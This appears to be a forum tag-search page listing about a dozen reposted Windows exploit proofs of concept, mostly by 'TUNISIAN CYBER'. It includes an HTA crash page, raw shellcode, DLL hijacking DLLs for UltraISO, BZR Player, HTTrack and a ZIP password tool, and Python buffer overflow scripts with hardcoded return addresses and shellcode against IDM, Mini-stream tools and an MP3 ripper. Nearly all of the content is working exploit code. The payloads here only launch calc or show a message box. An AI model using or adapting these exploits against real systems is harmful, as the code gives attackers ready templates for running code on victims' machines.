Search the Community
Showing results for tags '\#[+]'.
Found 12 results
-
/* #[+] Author: Mohammad Reza Espargham #[+] Title: MS Windows HTA (HTML Aplication) - Crash PoC #[+] Date: 19-05-2015 #[+] Tested on: Win7 dash> save below code as Crash.hta file and Double Click on it Crash... */ <html> <title>Mohammad Reza Espargham</title> </br> <body onload="javascript:ReZa();"></body> <script> function ReZa() { var buffer = '\x43'; var buffer1 = '\x42'; var buffer2 = '\x41'; for (i =0;i<956;i++) { buffer+=buffer+'\x42'; document.write('<>'+buffer+buffer1+buffer2); }} </script> </html> Source @alinpetre abia a aparut pe packetstorm verifica si tu inainte sa comentezi.
-
/* #[+] Author: TUNISIAN CYBER #[+] Title: Shellcode: win32/xp sp3 Create ("file.txt") (83 bytes) #[+] Date: 15-04-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp 32bit SP3 #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Credits: steve hanna projectshellcode.com ============================= Assembly: ;create.asm [Section .text] BITS 32 global _start _start: jmp short GetCommand CommandReturn: pop ebx xor eax,eax push eax push ebx mov ebx,0x7c8623ad call ebx xor eax,eax push eax mov ebx, 0x7c81cafa call ebx GetCommand: call CommandReturn db "cmd.exe /C echo shellcode by tunisian cyber >file.txt" db 0x00 ============================= */ char shellcode[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff" "\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78" "\x65\x20\x2f\x43\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20\x62\x79" "\x20\x74\x75\x6e\x69\x73\x69\x61\x6e\x20\x63\x79\x62\x65\x72\x20\x3e\x66\x69\x6c\x65\x2e\x74\x78\x74\x00"; int main(int argc, char **argv){int (*f)();f = (int ())shellcode;(int)(*f)();} Source
-
#[+] Author: TUNISIAN CYBER #[+] Exploit Title: UltraISO v9.6.2.3059 DLL Hijacking #[+] Date: 28-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Poc:http://i.imgur.com/naHAdJF.png #[+] Create Compile the file then rename it to daemon.dll then create .iso file , make sure that # the 2 files are in the same dir. #include <windows.h> #define DllExport __declspec (dllexport) DllExport void hook_startup() { exp(); } int exp() { WinExec("calc", 0); exit(0); return 0; } Source
-
/* #[+] Author: TUNISIAN CYBER #[+] Exploit Title: BZR Player 1.03 DLL Hijacking #[+] Date: 29-03-2015 #[+] Type: Local Exploits #[+] Vendor: http://bzrplayer.blazer.nu/ #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] gcc -shared -o [DLLNAME_choose one from the lis below].dll tcyber.c # Copy it to the software dir. then execute the software , calc.exe will launch . #Vulnerable and Exploitable DLLs: output_dsound.dll codec_cdda.dll output_writer_nrt.dll output_nosound.dll output_nosound_nrt.dll codec_tag.dll codec_cdda.dll codec_fsb.dll codec_vag.dll codec_.dll codec_oggvorbis.dll codec_tremor.dll codec_fsb.dll codec_aiff.dll codec_flac.dll codec_mod.dll codec_s3m.dll codec_xm.dll codec_it.dll codec_midi.dll codec_dls.dll codec_sf2.dll codec_asf.dll codec_vag.dll codec_playlist.dll codec_mpeg.dll dsp_oscillator.dll dsp_fft.dll dsp_lowpass.dll dsp_lowpass2.dll dsp_lowpass_simple.dll dsp_highpass.dll dsp_echo.dll dsp_delay.dll codec_.dll dsp_flange.dll dsp_tremolo.dll dsp_distortion.dll dsp_normalize.dll dsp_parameq.dll dsp_pitchshift.dll dsp_chorus.dll dsp_reverb.dll dsp_sfxreverb.dll dsp_itecho.dll codec_oggvorbis.dll dsp_compressor.dll dsp_dolbyheadphones.dll output_dsound.dll output_winmm.dll output_wasapi.dll output_asio.dll output_writer.dll output_writer_nrt.dll output_nosound.dll output_nosound_nrt.dll codec_tremor.dll codec_tag.dll codec_cdda.dll codec_fsb.dll codec_vag.dll codec_.dll codec_oggvorbis.dll codec_tremor.dll codec_aiff.dll codec_flac.dll codec_mod.dll codec_aiff.dll codec_s3m.dll codec_xm.dll codec_it.dll codec_midi.dll codec_dls.dll codec_sf2.dll codec_asf.dll codec_playlist.dll codec_mpeg.dll dsp_oscillator.dll codec_flac.dll dsp_fft.dll dsp_lowpass.dll dsp_lowpass2.dll dsp_lowpass_simple.dll dsp_highpass.dll dsp_echo.dll dsp_delay.dll dsp_flange.dll dsp_tremolo.dll dsp_distortion.dll codec_mod.dll dsp_normalize.dll dsp_parameq.dll dsp_pitchshift.dll dsp_chorus.dll dsp_reverb.dll dsp_sfxreverb.dll dsp_itecho.dll dsp_compressor.dll dsp_dolbyheadphones.dll output_dsound.dll codec_s3m.dll output_winmm.dll output_wasapi.dll output_asio.dll output_writer.dll output_writer_nrt.dll output_nosound.dll output_nosound_nrt.dll codec_tag.dll codec_cdda.dll codec_fsb.dll output_winmm.dll codec_xm.dll codec_vag.dll codec_.dll codec_oggvorbis.dll codec_tremor.dll codec_aiff.dll codec_flac.dll codec_mod.dll codec_s3m.dll codec_xm.dll codec_it.dll codec_it.dll codec_midi.dll codec_dls.dll codec_sf2.dll codec_asf.dll codec_playlist.dll codec_mpeg.dll dsp_oscillator.dll dsp_fft.dll dsp_lowpass.dll dsp_lowpass2.dll codec_midi.dll dsp_lowpass_simple.dll dsp_highpass.dll dsp_echo.dll dsp_delay.dll dsp_flange.dll dsp_tremolo.dll dsp_distortion.dll dsp_normalize.dll dsp_parameq.dll dsp_pitchshift.dll codec_dls.dll dsp_chorus.dll dsp_reverb.dll dsp_sfxreverb.dll dsp_itecho.dll dsp_compressor.dll dsp_dolbyheadphones.dll codec_sf2.dll codec_asf.dll codec_playlist.dll codec_mpeg.dll dsp_oscillator.dll dsp_fft.dll output_wasapi.dll dsp_lowpass.dll dsp_lowpass2.dll dsp_lowpass_simple.dll dsp_highpass.dll dsp_echo.dll dsp_delay.dll dsp_flange.dll dsp_tremolo.dll dsp_distortion.dll dsp_normalize.dll output_asio.dll dsp_parameq.dll dsp_pitchshift.dll dsp_chorus.dll dsp_reverb.dll dsp_sfxreverb.dll dsp_itecho.dll dsp_compressor.dll dsp_dolbyheadphones.dll output_dsound.dll output_winmm.dll output_writer.dll output_wasapi.dll output_asio.dll output_writer.dll output_writer_nrt.dll output_nosound.dll output_nosound_nrt.dll codec_tag.dll codec_cdda.dll codec_fsb.dll codec_vag.dll output_writer_nrt.dll codec_.dll codec_oggvorbis.dll codec_tremor.dll codec_aiff.dll codec_flac.dll codec_mod.dll codec_s3m.dll codec_xm.dll codec_it.dll codec_midi.dll output_nosound.dll codec_dls.dll codec_sf2.dll codec_asf.dll codec_playlist.dll codec_mpeg.dll dsp_oscillator.dll dsp_fft.dll dsp_lowpass.dll dsp_lowpass2.dll dsp_lowpass_simple.dll output_nosound_nrt.dll dsp_highpass.dll dsp_echo.dll dsp_delay.dll dsp_flange.dll dsp_tremolo.dll dsp_distortion.dll dsp_normalize.dll dsp_parameq.dll dsp_pitchshift.dll dsp_chorus.dll codec_tag.dll dsp_reverb.dll dsp_sfxreverb.dll dsp_itecho.dll dsp_compressor.dll dsp_dolbyheadphones.dll output_dsound.dll output_winmm.dll output_wasapi.dll output_asio.dll output_writer.dll #Proof of Concept (PoC): ======================= */ #include <windows.h> int tunisian() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { tunisian(); return 0; } Source
-
#[+] Author: TUNISIAN CYBER #[+] Exploit Title: HTTrack Website Copier v3.48-21 DLL Hijacking #[+] Date: 28-03-2015 #[+] Type: Local Exploits #[+] Vendor: https://httrack.com/page/2/fr/index.html #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Create Compile the file then rename it to dwmapi.dll then create .whtt file , make sure that # the 2 files are in the same dir. #include <windows.h> #define DllExport __declspec (dllexport) DllExport void hook_startup() { exp(); } int exp() { WinExec("calc", 0); exit(0); return 0; } Source: http://dl.packetstormsecurity.net/1503-exploits/httrackwebsitecopier-dllhijack.txt Edit: Cer ca postul s? fie ?ters , originally posted by Aerosol: https://rstforums.com/forum/99633-httrack-website-copier-3-48-21-dll-hijacking.rst
-
/* #[+] Author: TUNISIAN CYBER #[+] Exploit Title: ZIP Password Recovery Professional 7.1 DLL Hijacking #[+] Date: 29-03-2015 #[+] Type: Local Exploits #[+] Vendor: SmartKey ZIP Password Recovery – Recover ZIP, WinZip, PKZip Password #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] gcc -shared -o dwmapi.dll tcyber.c # Copy it to the software dir. then execute the software , calc.exe will launch . Proof of Concept (PoC): ======================= */ #include <windows.h> int tunisian() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { tunisian(); return 0; } Source: http://dl.packetstormsecurity.net/1503-exploits/zipprp-dllhijack.txt Edit: Cer ca postu meu s? fie ?ters , originally posted by aerosol: https://rstforums.com/forum/99634-zip-password-recovery-professional-7-1-dll-hijacking.rst
-
#[+] Author: TUNISIAN CYBER #[+] Exploit Title: HTTrack Website Copier v3.48-21 DLL Hijacking #[+] Date: 28-03-2015 #[+] Type: Local Exploits #[+] Vendor: https://httrack.com/page/2/fr/index.html #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Create Compile the file then rename it to dwmapi.dll then create .whtt file , make sure that # the 2 files are in the same dir. #include <windows.h> #define DllExport __declspec (dllexport) DllExport void hook_startup() { exp(); } int exp() { WinExec("calc", 0); exit(0); return 0; } Source
-
#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: IDM v6.20 Local Buffer Overflow #[+] Date: 27-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: https://www.internetdownloadmanager.com/ #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Poc:http://i.imgur.com/7et4xSh.png #[+] Create IDMLBOF.txt then open , copy the content then go to Options-VPN/Dial Up and paste it in the username field. from struct import pack file="IDMLBOF.txt" junk="\x41"*2313 eip = pack('<I',0x7C9D30D7) nops = "\x90" * 3 shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3" "\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd" "\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8" "\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5" "\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87" "\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca") writeFile = open (file, "w") writeFile.write(junk+eip+nops+shellcode) writeFile.close() Source: http://dl.packetstormsecurity.net/1503-exploits/idm620-overflow.txt
-
#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Related Vulnerability/ies: # http://www.exploit-db.com/exploits/8628/ #POC: #IMG1: #http://i.imgur.com/87sXIj8.png from struct import pack file="crack.ram" junk="\x41"*35032 eip=pack('<I',0x7C9D30D7) junk2="\x44"*4 #Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore #http://www.exploit-db.com/exploits/28996/ shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") writeFile = open (file, "w") writeFile.write(junk+eip+junk2+shellcode) writeFile.close() Source
-
#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=1427334864_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Original POC: # http://www.exploit-db.com/exploits/11197/ #POC: #IMG1: #http://i.imgur.com/ifXYgwx.png #IMG2: #http://i.imgur.com/ZMisj6R.png from struct import pack file="crack.m3u" junk="\x41"*35032 eip=pack('<I',0x7C9D30D7) junk2="\x44"*4 #Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore #http://www.exploit-db.com/exploits/28996/ shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") writeFile = open (file, "w") writeFile.write(junk+eip+junk2+shellcode) writeFile.close() Source
-
#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Mini-sream RM-MP3 Converter v2.7.3.700 Local Buffer Overflow #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Related Vulnerability/ies: # Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow #POC: #IMG1: #http://i.imgur.com/ESt0CH8.png #IMG2: #http://i.imgur.com/K39tpYj.png from struct import pack file="crack.m3u" junk="\x41"*35032 eip=pack('<I',0x7C9D30D7) junk2="\x44"*4 #Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore #Messagebox Shellcode (113 bytes) - Any Windows Version shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") writeFile = open (file, "w") writeFile.write(junk+eip+junk2+shellcode) writeFile.close() Source: http://dl.packetstormsecurity.net/1503-exploits/ministreamrmmp3273700-overflow.txt
-
#!/usr/bin/python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow #[+] Date: 20-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R from struct import pack file="evilfile.wav" junk="\x41"*4112 eip = pack('<I',0x7C9D30D7) nops = "\x90" * 3 #Calc.exe Shellcode #POC:http://youtu.be/_uvHKonqO2g shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3" "\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd" "\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8" "\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5" "\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87" "\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca") writeFile = open (file, "w") writeFile.write(junk+eip+nops+shellcode) writeFile.close() Source
.thumb.jpg.29b1f7ae7dd9ad5a11e41a710722ba35.jpg)